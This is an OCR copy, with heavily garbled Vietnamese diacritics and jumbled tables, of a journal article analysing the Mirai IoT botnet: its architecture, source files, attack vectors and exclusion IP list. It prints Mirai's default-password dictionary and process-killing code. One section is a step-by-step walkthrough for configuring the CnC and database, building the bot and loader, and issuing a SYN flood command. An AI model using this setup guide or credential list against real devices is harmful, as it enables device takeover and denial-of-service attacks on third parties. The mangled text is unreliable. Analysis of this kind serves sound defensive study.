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NGHIEN C'U MA BOC MIRAI - CONG CU TAO BOTNET MO
BE TAN CONG TU CHOI DICH VU SU DUNG CAC THIET B|

INTERNET OF THINGS

MIRAI MALWARE - NEW BOTNET TOOL TO ATTACK TECHNIQUE FOR DENIAL

OF SERVICE USING INTERNET OF THINGS

TOM TAT

Internet of Things (loT) dang 1a mt xu thé phét trién manh trén toan cau. Cac
thiét bi loT xuat hién phd bién va (ing dung vao hau hét céc Iinh vire clia doi song,
manyg lai nhiéu loi ich cho xa hoi. Bi kem v6i d6 la cac nguy co b khai thac, danh
cap di¥ liéu hay bi st dung cho muc dich tréi phép do nhan thiic chira day ddi va vén
@& bao mat con yéu. Nam 2016, thé giéi ghi nhan ki thuat tén cng tir chdi dich vu
mdi st dung ma doc Mirai i€ digu khién mdt mang BotNet gbm cac thiét bi loT tan
¢ng vao cac cong ty Ion ctia Mj va Phap, véi bang thong ky luc dén 1,5Tbps. Viét
Nam la nuéc cd ti I8 1a noi xuét phat clia cac cudc tan cong st dung mé ddc Mirai
¢ong tir chdi dich vu mdi st dung cac thiét bi IoT, md hinh hoat ddng clia mang
BotNet Mirai va phan tich ma ngudn, ky thuat Iay nhién va thuc thi clia ching.
Phan cudi, d8 xudt cac bién phap co ban dé nguoi diing bao vé thiét bi cia minh
trude s 1y nhiém cliama doc ndy.

Tlrkhoa: Mirai, DDOS, Internet két ndi van vat, BotNet, ma doc.

ABSTRACT

Internet of Things (1oT) is a developing trend all over the world. loT devices
become more popular and they are applied to most fields of life, bringing many
benefits to society. That is accompanied by the risk of being exploited, stolen or
used data for unauthorized purposes due to users’ insufficient awareness and
weak security. In 2016, the world recognized a new attack technique for denial of
service using Mirai malware to control the BotNet network including loT devices
that attacked major US and French companies, with record bandwidth to 1.5Tbps.
Vietnam is the leading country in the world with the highest number of attacks of
Mirai malware. In this article, | introduce a attack technique for denial of service
using loT devices, the operation model of the Boti Botnet network, and analysis of
their source code, propagation and execution techniques. Lastly, | offer basic
measures for users to protect their devices against the infection of this malware.
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1. TAN CONG TU CHOI DICH VU SU DUNG THIET BI
INTERNET OF THINGS

Internet két ndi van vat (Internet of Things - viét tat la
loT) 1a mdt kich ban trong d6 mbi dd vat, thiét bi, con
nguoi... dugc cung cdp mot dinh danh riéng, c6 kha nang
két ndi, truyén tai, trao déi théng tin qua mot mang chung
la Internet 0. Y twdng vé IoT xuét hién tir ndm 1980 nhung
bat dau phat trién manh gan day dua trén nhitng thanh tyu
cla cong nghé truyén thong khong day, cong nghé vi co
dién tr, IPv6 va sy phé bién cda thiét bi di dong cam tay va
mang luGi Internet.

Cac thiét bi dugc két ndi trong mang ludi nay co thé
bao gdbm may tinh, thiét bi di dong cam tay, dong ho
thong minh, may anh, may quay k¥ thuat s6, tivi, td lanh,
céc thiét bi dién tl trong mot ngdi nha thdng minh... va
dang tiép tuc phat trién véi téc dé rat nhanh. Theo dy bao
clia hang Cisco, quy md clia mang lu6i loT vao khoang 50
ti thiét bi 0.

Tan cdng tlr chdi dich vu phan tan (DDOS) str dung thiét
bi 10T la cubc tan cong khién lvu lvong truy cap dén mot
may chd tdng cao bat thuwong, vwot qué kha nang cung cap
dich vu va khién may chi bi té liét. Hai budc chinh dé thuc
hién cudc tan cong nay nhu sau:

- Bwéc 1: Lay lan mé déc, xay duwng hé thdng BotNet
gdm cac thiét bi da bi nhiém ddc va c6 thé cho phép
hacker diéu khién.

- Budc 2: Diéu khién hé thdng BotNet tin cdng bang
cach truy cép lién tuc vao mot muc tiéu xac dinh vao cung
mot thoi diém. Diéu nay gay qua tai va lam may chl maét
kha nang cung cap dich vu mot cach binh throng.

Mtrc d6 hiéu qua cla dang tdn cong nay phu thuéc
nhiéu vao quy mo clia mang lw6i BotNet. K§ thuat tdn cong
DDOS st dung mdt mang BotNet truyén théng théng
thuong chi gdbm cac may tinh chay hé diéu hanh Windows,
Linux hay MacOS bi nhiém ma ddc. Nam 2011, Bao dién ti
VietNamNet bi tdn cong tlr chdi dich vu véi quy mé mang
BotNet tir 40.000 dén 60.000 may tinh 0.
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K§ thuat tan céng DDOS méi khai thac cac thiét bi loT dé
xay dwng mang lwdi BotNet. K§ thuat nay nguy hiém va gay
ra tdc ddong manh mé hon béi cac ly do sau: Quy mé mang
lwGi loT rat 16n va ngay cang phat trién manh, cong tac bao
mat cho cac thiét bi loT chua dugc quan tdm ding muc ca
tir phia nha san xuét va nguoi dung, cac giai phap phan
mém va phan cirng bado mat cho thiét bi IoT con han ché.

Ngay 21/10/2016, may chl cung cép dich vu phan giai
tén mién ctia cong ty Dyn tai M¥ bi tdn cdng tir chdi dich vu
voi mang luéi BotNet khodng 500.000 thiét bi, khién nguoi
dung khong thé truy cap dwoc cac trang web nhu Spotify,
Twitter, Github, PayPal... mot cach binh thuwong 0. Mot cube
tdn cdng khac vao website clia phdng vién an ninh mang
Brian Krebs chiém bang thong t¢i 620 Gbps. Cudc tan cong
vao tap doan dich vu hosting OVH ctia Phap v6i mic bang
thong ky luc dén 1,5Tbps 0.

Dé tap hop va diéu khién duoc s6 lvgng 16n thiét bi tham
gia vao cac cudc tan cdng trén, hacker da str dung ma doc
Mirai dé lay nhiém vao thiét bi loT c6 két ndi mang. Pay la
loai ma doc ph6 bién va hiéu qua nhat dé xay dung mang
BotNet. Trong phan Il clia bai béo, tac gia tap trung trinh bay
mo hinh hoat dong clla mang BotNet Mirai. Phan Ill s&€ phan
tich k¥ thuat khai thac va tdn cdng ctia ma déc. Phan cubi
cung la dé xuat mot so bién phap dé bao mat va két luan.

2. MO HINH HOAT BONG CUA MANG BOTNET MIRAI
2.1. Ma doc Mirai

Mirai la mot ma déc ty lan truyén dé tao BotNet, goi la
BotNet Mirai. Ma ngudn cuta ching duoc cdng bd dau tién
béi tai khoan c6 tén la Anna-senpai trén Hackforums 0. Sau
do, ma ngudn nay duoc str dung béi nhiéu nguoi dung khac
dé tan cong vao cac co so ha tang Internet. Ma doc Mirai lay
nhiém trén cac thiét bi loT dugc bao vé kém, c6 kha nang
lay nhiém t6i hang chuc ngan thiét bi va nhan Iénh diéu
khién phoi hop tan céng tlr chdi dich vu.

Diéu tra cla cdng ty bdo mat Incapsula déd phat hién
49.657 dia chi IP chira thiét bi nhiém Mirai tai 164 quéc gia.
Céc IP BotNet phan b6 khp céac noi trén thé gigi. Danh sach
cac qudc gia co ti 18 la noi bt dau cac cudc tan cong bang
ma doc Mirai cao nhat nhu trong bang 1.

Béng 1. Danh sach cac quéc gia la noi xuét phét cla nhigu nhét clia cac cude
tan cong bang mang BotNet Mirai 0

Qudc gia Ty 1€ % clia BotNet Mirai
Viét Nam 12,8%
Brazil 11,8%
Hoa Ky 10,9%
Trung Quéc 8,8%
Mexico 8,4%
Trigu Tién 6,2%
Thai Lan 4,9%
Nga 4,0%
Romania 2,3%
Colombia 1,5%

Tap chi KHOA HOC VA CONG NGHE @ S& 42.2017

Trong do6, Viét Nam la noi xudt phat ctia nhiéu cudc tan
cdng nhét bang ma doc Mirai nhat. Biéu nay canh bao rang
cac thié€t bi loT & Viét Nam dang chua duoc quan tam bao vé
ddung muc va da bi khai thac nhiéu cho cac cudc tan cong tir
chdi dich vu.

2.2. M6 hinh hoat dong clia mang BotNet Mirai

Ma déc Mirai khai thac sv chil quan clia ngudi dung dé
xam nhap va diéu khién thiét bi loT. Cac thiét bi thvong
duwoc khai thac nhu CCTV camera, may quay ky thuat sb
DVR, router... thuong duoc cdu hinh tai khoan va mat khau
mac dinh clia nha san xudt. Ma doc Mirai ti€én hanh do quét
cac thiét bi chua thay d6i mat khdu ma van st dung mat
khau méc dinh @€ khai théc, chiém quyén diéu khién.

Ma déc Mirai gdm hai thanh phan chinh: virus Mirai va
Trung tdm Chi huy & Diéu khién (CnC).

- Thanh phan virus chira 10 vector tdn cdng va mot qua
trinh do quét tich cyc nham tim kiém cac thiét bi co thé lay
nhiém trén mang. Mirai la ma doc c6 kha nang tv lay lan.

- Thanh phan CnC a mdt trung tdm nam riéng biét, c6
trach nhiém kiém soat va diéu khién cac thiét bi d& bi xam
nhéap, tao nén mot hé théng mang BotNet. Thanh phan CnC
la noi gri cac thoéng diép diéu khién cac thanh vién trong
mang tan cdng muc tiéu xac dinh.

Buéc 4:
CnC ra Iénh
cho cac BOT
tan céng mot

nan nhan

Buéc 3:

Buoc2: |/ < NEWBOT "\
Théng tin chi \\

tiét duoc gk / CnC s20
dén CnC 7 chép virus
"3 dén thiét bj
// moi

Buoce 1
BOT hién tai
phat hién ra

thiét bj m&
moi

Hinh 1. Co ché hoat ddng clia Mirai

Qua trinh quét lién tuc chay trén moi thiét bi (12 mot
Bot trong mang BotNet) st dung giao thirc telnet cong
TCP 23 hoac 2323 dé thir va ddng nhap vao cac dia chi IP
mot cach ngau nhién. Khi dang nhap thanh céng bang
mat khau méc dinh, ma ddc sé gl thong tin ddng nhap lai
cho trung tdm CnC.

CnC hd trg giao dién dong lénh don gian, cho phép
hacker chi dinh mét vector tan cong, dia chi IP ctia nan nhan
va thoi gian tn cong. Trung tdm CnC cling cho doi cac Bot
hién tai ti€p tuc cung cdp cac dia chi méi dwgc phat hién va
thong tin dang nhap clia né dé tiép tuc sao chép ma virus
va tao ra Bot moi.

3. PHAN TICH KY THUAT TAN CONG CUA MA BOC MIRAI
3.1. Phan tich ma ngudn

Ma ngudn clia Mirrai do tai khoan c6 tén la Anna-senpai

cung cdp trén HackForums. Ma ngudn phan tich duoc chia sé
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trén GitHub tai dia chi https://github.com/rosgos/Mirai-
Source-Code 0. GGm céc phan chinh sau;

- Thir muc CnC: May cht diéu khién mang BotNet, chira
tat cd ma ngudn Go dung dé dinh nghia cac APl khac nhau
va céc Iénh chic nang dé thuc hién trén moi Bot.

- Thy muc Bot; Chira cac k¥ thuat tan céng khac nhau ma
Trung tam CnC sé gli t&i mang BotNet, yéu cau thyc hién
tdn cong tr chi dich vu véi muc tiéu xac dinh.

- Thu muc Tools: Chira ma ngudn cac tién ich dé thuc
hién nhitng thao tac nhu gidi mé& dir liéu ma hod, don dep
tai nguyén,...

- M6t s6 tap tin khac nhuw build.sh, prompt.txt.

Sau day, bai bao phan tich chi tiét cac thu muc va tap tin
guan trong trong ma nguén Mirai nhw: Tap tin build.sh, thu
muc CnC, thu muc Bot dé ndm duoc ki thuat clia ma doc.

a) Tap tin Build.sh

Tap tin Build.sh chtra mét kich ban Bash don gian cung
cép cac chirc ndng tiéu chuan nhuw x6a diu vét, kich hoat cac
co clia trinh bién dich, xay dung trinh g& réi hodc phat hanh
tap tin nhj phan thdng qua ngdn ngi 1ap trinh Go va trinh
bién dich GCC.

Phién ban phat hanh dvoc xay dwng ho tro bién dich va
thyc thi trén nhiéu nén tdng gdm: SPC, MIPS, x86, ARM,
PowerPC, Motorola 6800 va SuperH.

b) Thuw muc CnC

Pay la thu muc chira toan bd ma ngudn clia CnC, viét
bang ngdn ngir Go bao gbm céc thanh phan chinh nhu sau:

- Tap tin Admin.go:

+ Day la giao dién quan tri chinh cung cdp cac churc
nang quan tri cho nguoi st dung (ké tdn cong), chi huy
diéu khién viéc tdn cong clia mang BotNet.

+ Khi két ndi dang nhap vao may chi CnC, nguoi sk
dung dugc théng bao véi mot 10i chao “tdi yéu ga ran”
bang tiéng Nga tir tap tin prompt.txt.

+ Tl day, nguoi st dung phai cung cdp cac théng tin vé
tai khoan va dugc xac nhan théng qua tap tin database.go
str dung hé quan trj co s& dir liéu MySQL.

+ Qua trinh xac thuyc thanh cdng, may cha dua ra théng
bao rang né da che gidu cac két néi bi tdn cdng tir netstat
va loai bd cac dau vét truy cip vao may. Trong thuc té thi
né khdng lam gi ¢, day chi la théng bao gia.

+ Giao dién quan tri cung cdp mot bang cap nhét so
lvgng Bot da két ndi. Mot 1énh phat dong tan cong bao
gbm: Kiéu tan cong, thoi gian tdn cong va sb Bot dwoc huy
déng. bay la giao dién chinh dé phat dong Iénh tan cong tlr
mang BotNet.

- Tap tin ClientList.go: Chira tat ca cac di liéu lién quan
dé thuc hién mot cudc tan cong bao gdm mot ban do hodc
mot bang ma bam cla tat ca cac Bot duwgc phan b6 cho
cudc tan céng nay. N6 c6 trach nhiém duy tri nhiéu hang
doi phu thudc vao tinh trang thuc hién cta bot. Vi du nhu:
Sé&n sang tan cong, thuc hién tan cdng, x6a hodc két thic
cudc tan cdng hién tai.

- Tap tin Attack.go: Chiu trach nhiém x ly yéu cau tan
cdng duoc khéi xwdng bédi may chi CnC. N6 phan tich [énh
shell dwgc cung cip qua giao dién Admin, dinh dang va xay
dwng céc Iénh, phan tich muc tiéu va gtti [énh xudng céc Bot
phu hop théng qua tap tin API.go.

- Tap tin APl.go: Thuc hién viéc gl cac Iénh dén mot Bot
riéng 1& tir may chd CnC. N6 thuc hién mot s6 quy tac va
kiém tra cac rang budc. Vi du, nguoi sit dung CnC duoc phan
b6 t6i da N Bot dé c6 thé sir dung trong mot cudc tan cong
nhat dinh. Néu nguoi d6 khdng phai la quan tri vién, ho sé
bi rang budc mot gi¢i han vé s6 lwgng cac Bot duoc nguoi
quan tri cdp phat.

- Tap tin Main.go: La mot qué trinh x& ly nhj phan trén
may chii CnC, thuc hién viéc 1ang nghe céc két néi TCP dén
trén c6ng 23 (telnet) va 101 (Bot API phan hdi). Vi moi két
noi dvgc nhan trén cong AP, né sé dua ra phrong an x ly
phu hep trong APL.go.

¢) Thy muc Bot

Thw muc Bot chira cac phwong phap tan cong khac nhau
ma may chd CnC glri t6i mang BotNet, bao gom:

- UDP Attacks: Chira cac k¥ thuat tdn cong duva trén giao
thic UDP duwogc dinh nghia trong tap tin Attack _udp.c, dugc
thuc hién béi mot thiét bi loT, gdm céc k§ thuat sau: Tan
cong bang cac goi dinh tuyén chung GRE, tan cong khéch
dai bang thong (TSource Query-Reflective Denial of Service),
tdn codng DNS Flood théng qua truy van clia ban ghi A, tan
cdng lam ngap lut cac byte ngau nhién théng qua cac goi
tin don gian. Cu thé céc k¥ thuat tdn cong do6 duoc khai bao
nhu sau:;

void attack udp_generic(uint8_t targs len, struct attack target *targs,
uint8 topts_len, struct attack _option *opts);

void attack_udp_vse(uint8_t targs len, struct attack_target *targs, uint8_t
opts_len, struct attack _option *opts);

void attack udp_dns(uint8 t targs_len, struct attack target *targs, uint8_t
opts_len, struct attack _option *opts);

void attack_udp_plain(uint8_t targs_len, struct attack target *targs, uintg_t
opts_len, struct attack _option *opts);

- TCP Attacks: Binh nghia cac ky thuat tdn céng thdng
qua giao thic TCP duwgc chira trong tap tin Attack_tcp.c
gom: SYN Flood, ACK Flood, PSH Flood. Cac ky thuat tan
cdng do dugc khai bdo nhu sau:

void attack_tcp_syn(uint8_t targs_len, struct attack target *targs,
uint8_topts_len, struct attack_option *opts);

void attack tcp_ack(uint8 t targs len, struct attack target *targs,
uint8_topts_len, struct attack _option *opts);

void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs,
uint8_t opts_len, struct attack _option *opts);

- HTTP Attacks: Ngoai cac dang tdn cong théng qua cac
giao thirc UDP va TCP, cac Bot Mirai cling ho tro tan cong tir
chéi dich vu théng qua giao thirc HTTP va duoc khai bao
trong tap tin Attack_app.c nhu sau:
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void attack_app_http(uint8_t targs_len, struct attack target *targs,

uint8_topts_len, struct attack _option *opts);

void attack_app_cfnull(uint8_t targs_len, struct attack_target *targs,

uint8_t opts_len, struct attack _option *opts);

Ngoai cac phuong phap tan cong trén, thy muc Bot con

chtra céc tap tin sau:

- Tap tin Scanner.c: Cung cap chic nang Brute Force dé
thuc hién quét vét can céc dia chi IP trén mang, phuc vu
trong viéc tim kiém céc thiét bi mai dé lay nhiém vao mang
BotNet.

- Tap tin Killer.c: Cung cép chirc nang déng cac ti€n trinh
dang chay trén may chd nhu telnet, ssh...

- Tap tin Main.c: Pay la tép tin bat dau thuc thi clia Bot.
N6 c6 trach nhiém thiét 1ap mot két ndi dén may chi CnC,
khéi dong cac cudc tan cong, xda bo cac dau vét va quét cac
thiét bi khac dé bd sung vao thanh phan ctia mang BotNet.
3.2. Phan tich ky thuat tén cong

M4 ddc Mirai duoc viét bang ngdn ngit 1ap trinh Go va C.
Giong nhu cac ma doc tao BotNet khac, Mirai thuc hién cac
tién trinh sau:

- Xéac dinh dia chi IP c&c thiét bj loT c6 kha nang lay
nhiém, tap hop va phat trién mang ludi BotNet.

- Khédi dong cac cudc tdn cong DDOS duya trén cac huéng
dan tir trung tm C&C diéu khién tir xa.

Dé xac dinh thiét bi lay nhiém, Mirai thyc hién quét céc
dia chi IP, xac dinh thiét bj IoT nao cho phép truy cap tir xa
thong qua cac chirng chi dang nhap c¢é thé du doan duoc.
Chirng chi dang nhap nay thuong la tai khoan méac dinh cla
nha san xuat danh cho thiét bi. Mirai st dung ky thuat
Dictionary dé vuot qua dang nhap 0. Danh sach céac tai
khoan mac dinh danh cho céc thiét bi loT ma Mirai si dung
nhu trong bang 2.

Bang 2. Danh sach cac tai khodn méc dinh Mirai st dung cho tén cng
Dictionary

16 user user 46 root 7ujMkoOadmin
17 admin (none) 47 root system

18 root pass 48 root ikwh

19 admin admin1234 | 49 root dreambox
20 root 1111 50 root user

21 admin smcadmin | 51 root realtek

22 admin 1111 52 root 00000000
23 root 666666 53 admin 111111
24 root password | 54 admin 1234

25 root 1234 55 admin 12345

26 root klv123 56 admin 54321

27 | Administrator admin 57 admin 123456

28 service service 58 admin 7ujMkoOadmin
29 tech tech 59 admin pass

30 admin meinsm

Chtic ndng tan cong cda Mirai cho phép n6 khéi chay cac
cudc tan cong HTTP Flood va bién thé tdn cong DDOS khac
& 16p 3 va 16p 4. Khi tdn cong HTTP Flood dién ra, nhitng con
bot Mirai an phia dugi nhitng truy cap clia nguoi ding
théng thudng:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebkit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebkit/537.36 (KHTML,
like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebkKit/537.36 (KHTML,
like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11 6) AppleWebKit/601.7.7
(KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

DPa6i voi cac vu tan cong I6p mang, Mirai c6 kha nang
kh&i chay cac GRE IP va cac GRE ETH Flood dé thuc hién cac
ky thuat tdn cong SYN va ACK Flood, STOMP (Simple Text
Oriented Message Protocol) Flood, DNS Flood va UDP Flood.

Mirai cling c6 kha nang Bypass, cho phép no vugt qua
chirng thuc st dung tai khoan nhv doan mé sau:

#define TABLE_ATK DOSARREST 45 [/ "server: dosarrest"
#define TABLE_ATK CLOUDFLARE_NGINX 46 //"server: cloudflare-nginx"
if (util_stristr(generic_memes, ret,
table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) !=-1)
conn->protection_type =HTTP_PROT_CLOUDFLARE;
if (util_stristr(generic_memes, ret,
table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) I=-1)
conn->protection_type = HTTP_PROT_DOSARREST;

STT| USERNAME | PASSWORD | STT | USERNAME | PASSWORD
1 root xc3511 31 | supervisor supervisor
2 root vizxv 32 guest guest
3 root admin 33 guest 12345
4 admin admin 34 adminl password
5 root 888338 35 | administrator 1234
6 root xmhdipc 36 666666 666666
7 root default 37 888888 888888
8 root juantech 38 ubnt ubnt
9 root 123456 39 root klv1234
10 root 54321 40 root Zte521
11 support support 41 root hi3518
12 root (none) 42 root jvbzd
13 admin password | 43 root anko
14 root root 44 root Zlxx
15 root 12345 45 root 7ujMkoOvizxv
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3.3. Danh sach dia chi IP ngoai 1é

Phan tich module do quét IP cda Mirai, mdt danh sach
clring dd dugc ma hoa chira cac dia chi IP ma Mirai sé tranh
khong tdn cong. Danh sach nay gom: Dich vu Buwu chinh
Hoa Ky, B Qudc phong, T chic cdp phét dich vu Internet
IANA, céac day IP clia tap doan Hewlett-Packard va General
Electric. Danh sach cu thé nhu trong bang 3.
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Bang 3. Danh séch cac IP mama ddc Mirai khong tan cong

STT Danhsach IP T6 chirc ¢ hitu
1 127.0.0.0/8 IP Loopback
2 0.0.0.0/8 IP khong hop 18
3 3.0.0.0/8 General Electric (GE)
4 15.0.0.0/7 Hewlett-Packard (HP)
5 56.0.0.0/8 Dich vu Buu chinh Hoa Ky
10.0.0.0/8
6 192.168.0.0/16 Dia chi IP danh cho mang LAN
172.16.0.0/14
100.64.0.0/10 e
7 169.254.0.0/16 To chirc cAp phat dich vy Internet -
IANA
198.18.0.0/15
8 204.% * *+ Pia chi Multicast
6.0.0.0/7,11.0.0.0/8
21.0.0.0/8,22.0.0.0/8
9 26.0.0.0/8,28.0.0.0/8 Bd Quadc phong
30.0.0.0/8, 33.0.0.0/8
55.0.0.0/8,214.0.0.0/8

3.4. Kiém soét thiét bi va loai trir cac ma doc khac

Ma ddc Mirai khi chiém duwoc quyén diéu khién thiét bi
loT ¢ xu hwdng kiém soat chiing va ngan chan cac nd luc
két ndi tir xa cla thiét bi bi tdn céng, cling nhv ngan chan
ma déc khéac cling c6 thé xam nhap. Trong ma ngudn Mirai
chu:a mot s6 tap Iénh nham loai trir kha ndng thiét bi lay
nhiém thém cac loai sdu may tinh hodc trojan khéc.

Tap lénh sau day dong cac tién trinh trén cac cong clia
dich vu SSH, Telnet va HTTP:

killer_kill_by _port(htons(23)) //Dong dichvu telnet
killer_kill_by_port(htons(22)) //Ddng dichvy SSH
killer_kill_by _port(htons(80)) //Ddng dichvy HTTP

Ngoai ra, Mirai str dung ky thuat Memory Scraping dé
dinh vi va xéa b cac tién trinh clia nhitng BotNet khac tir b

nhé cla thiét bi nhu sau:

#DEFINE TABLE_MEM_QBOT // REPORT %S:%S

#DEFINE TABLE_MEM_QBOT2  //HTTPFLOOD

#DEFINE TABLE_MEM_QBOT3 ~ //LOLNOGTFO
#DEFINETABLE_MEM_UPX  //\X58\XAD\X4E\X4EWX43\X50\X46\X22

#DEFINE TABLE_MEM_ZOLLARD  // ZOLLARD

Ham sau day thuc hién tim kiém va tiéu diét Anime, mét

ma doc cling xam nhap chiém quyén diéu khién cac thiét bi
loT va canh tranh véi Mirai.

searching for .anime process
table_unlock_val(TABLE_KILLER_ANIME);
/1'f path contains ".anime" kill.
if (util_stristr(realpath, rp_len- 1,
table_retrieve_val(TABLE_KILLER_ANIME, NULL)) I=-1)
{unlink(realpath); kill(pid, 9);}
table_lock_val(TABLE_KILLER_ANIME);

Céac hanh vi cia ma doc Mirai nay giup téi da héa tiém
nang tan cong cua cac thiét bi trong mang BotNet va ngan
chén cac no luc chiém quyén twong ty tir cac ma doc khac.
4. BE XUAT MO HINH AO MO PHONG HOAT BONG CUA
MA BOC MIRAI
4.1. M6 hinh dé xuat

Duva trén cac thanh phan va kj thuat tan céng cda Mirai,
tac gia dé xuat mo hinh &0 mé phong hoat dong ctia ma
déc nay, mo hinh nay cé thé trién khai dé lay nhiém va tan
céng trong thuc té. Tac gia dé xudt md hinh nay voi muc
dich gido duc va khéng khuyén khich cting nhv khéng chiu
trach nhiém ddi voi nhitng nguoi st dung md hinh nay cho
cac hanh vi tri phép.

M6 hinh dé cai dat va diéu khién Mirai chiing t6i gém 02
VPS, 01 Server, 02 PC va 01 thiét bj loT, chic ndng cu thé
nhu sau:

- VPS 1: May cht co s& dit liéu, luu trr thong tin cac thiét
bi loT d4 bi kiém soat.

- VPS 2: Quét Rootkit, quét mang va phat tin ma déc.

- Server 1: May chti CnC, danh cho viéc diéu khién mang
BotNet.

- PC1: May tinh diéu khién ctia ké tan cong.

- PC2: May tinh clia nan nhan.

- |oT: Thiét bi loT dé tién hanh lay nhiém, khai thac.

Ngoai ra, trong thuc té khi mang BotNet c¢6 khoang tir
300.000 thiét bi trd 1én, can trién khai thém 03 Server la
Server 2, 3, 4, v6i chirc nang may chu thi hai dé chia tai cho
VPS 1, VPS 2 va Server 1. MO hinh @& xuét nhu hinh 2.

1 |

Hinh 2. M6 hinh d& xuét trién khai ma ddc Mirai
4.2. Cac budc cai dat mo hinh

Céc budc chinh trong cai dat m6 hinh dugc thyc hién
nhu sau:

a) Cau hinh BotNet

Mirai cung cdp mot sé tuy chon cau hinh cho BotNet
trong file table.c/table.h. Tép tin table.h md ta céc tuy chon
cdu hinh. Tép tin table.c cung cdp mot so tuy chon khac, can
phai dugc thiét Iap nhu sau:

- TABLE_CNC_DOMAIN: Tén mién cda may cha CnC -
Server 1.

- TABLE_CNC_PORT: CAng két noi, thiét 1ap 1a 23.
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- TABLE_SCAN_CB_DOMAIN: Tén mién la luvu trit co so
dir liéu.

- TABLE_SCAN_CB_PORT: Cong st dung cho may chl co
s& di¥ liéu, thiét lap 1a 48101.

b) Cau hinh VPS 1: May chti co s& dii liéu

Thuc hién ca[ dat may chud dé Iwu tri thong tin vé cac
thiét bi da bi nhiém ma doc, phuc vu cho viéc khai thac. Tac
gia st dung hé quan tri co s& di¥ liéu MySQL chay trén nén

Tién hanh xay dung Loader bang céch chay tap Iénh
build.sh trong thi muc loader ctia ma nguén Mirai;

cd ../loader
Jbuild.sh

Tién hanh chay tap tin scanlisten.go trong thuv muc
.mirai/tools dé tién hanh do quét bot:

Debian, gébm cac bang nhu sau:

cd ../tools
go build scanListen.go

- Bang “History”: d) Cau hinh may chi CnC
Téntrwong | Kiéu d liéu Tly chon Ghicha DE c6 thé hoat dong may chti CnC phai duoc két n6i dén
, , ) NOT NULL _ may chd co s& di liéu bang cach chinh sira trong tap tin
id int(10)unsigned | 0" \vepement | PIMAVKSY | /mirai/cnc/main.go nhu sau:
user_id int(10) unsigned NOTNULL Key const DatabaseAddr string ="127.0.0.1"
time_sent | int(10) unsigned NOT NULL const DatabaseUser string = "root"
duration int(10) unsigned NOTNULL const DatabasePass string = "password"
command text NOTNULL const DatabaseTable string = "mirai"
max_bots int(11) DEFAULT *-1' Xay dung bot va CnC:;
- Bang "User” - Truéc tién can cai dat cac yéu cau sau:
Tén trwoing Kiéu dir liéu Tly chon Ghicha 90 get github.com/go-sql-driver/mysq
id int(10) unsigned AUT(’;IEITN’E‘LRJELI%/IENT PrlKne];ry go gNet github.com/mattn/go-shellwords
Username varchar(32) NOTNULL Key buil-d,-gll’?:p theo vao thv muc mirai va bién dich tap Iénh
password varchar(32) NOT NULL -
duration_limit | int(10)unsigned |  DEFAULTNULL cd../miral
cooldown | int(10) unsigned NOT NULL Jbuild.sh debug telnet
wre int(L0) unsigned DEFAULT NULL e) Tién hanh diéu kién tén cong
last_paid int(10) unsigned NOTNULL Tai may PC1, ké tdn cong ti€én hanh dang nhap diéu kién
max_bots int(11) DEFAULT -1 may chd CnC:
admin int(L0) unsigned DEFAULT'0' admin@Mirai# ?
intvl int(10) unsigned DEFAULT '30' Availble attacklist
api_key text ack: ACK flood
- Bang “Whitelist” stomp: TCP stomp flood
P I A L greip: GREIP flood
Tén truong Kiéu dit liéu Tuy chon Ghichu
greeth: GRE Ethernet flood
id int(10) unsigned AUT(I)\I OITI\IIEEELI\L/IENT Primary Key udp: UDP flood . B
: = vse: Valve source engine specific flood
prefix varchar(16) DEFAULTNULL Key udpplain: UDP flood with less options. Optimzed for higher PPS
netmask | tinyint(3) unsigned DEFAULT NULL http: HTTP flood

Thém tai khoan cho MySQL:
mysql -uroot -proot mirai

mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0,
0,0,-1,1,30,");

mysql> exit

c) Cau hinh VPS 2: Quét Rootkit, quét mang va phat
tan madoc

Loader doc cac muc telnet tlr STDIN theo dinh dang sau:

ip:port user:pass
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dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood

O day thuc hién Iénh tan cong SYN flood dén may nan
nhan trong vong 10 giay:

admin@Miraif syn 192.168.7.22 10
4.3. KEt qua thr nghiém

V&i bd ma ngudn dwgc cung cap & trén, tac gia ti€n hanh
cai dat va thir nghiém thanh cong, thiét bi loT bi khai théac,
dang nhap thanh céng va bi diéu khién dé tan céng muc
dich thir nghiém.
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Két qua nhu sau:

- V& qua trinh do quét doan tai khoan mat khau thiét bi
lot: Nhan duoc khoang 500 két qua bruted méi gidy va co
thé tao ra dong thai 60.000 dén 70.000 két ndi tir may chi
do quét.

- Vé qua trinh tan cong DDoS: Khi cé 1énh tir ké tan cong,
moi gidy mot bot c6 thé giti 1én dén 500 yéu cau dén may
nan nhan.

Tac gia dé xuat mo hinh nay véi muc tiéu giao duc va thir
nghiém. B&i véi mbi bién thé khac nhau clia Mirai, viéc cau
hinh hé thdng c6 thé co thay ddi cho phu hgp. Ma ngudn
cla Mirai d& duoc cung cép tai lién két & Phan 3 bai bao nay.
5. BIEN PHAP PHONG CHONG SU LAY NHIEM CUA MA
DOC MIRAI

Khi bi lay nhiém, ma doc Mirai lam giam téc do truy cap
mang va lam cham sv hoat dong cla thiét bi, bén canh dé
muc dich chinh clia Mirai la loi dung thiét bj dé tdn cong cac
hé thong khac nhir may chd web, cac trang thvong mai dién
tl... Dieu nay khién cho nguoi dung chl quan va it c6 nhu
cau bao mat. Tuy nhién, cac thiét bi IoT ngay cang phat trién
va chita nhiéu ndi dung nhay cam, do dé dé khéng bi kiém
sodt, tiép tay cho tdi pham va tranh nguy co bi danh cap dir
liéu trong twong lai, ngudi sé hivu thiét bi can thuc hién cac
bién phap bdo méat co ban sau:

1. Thay ddi mat khau mac dinh clia nha san xuat trén cac
thiét bi, dat mat khau manh va tranh dat chung mot mat
kh&u cho nhiéu thiét bi.

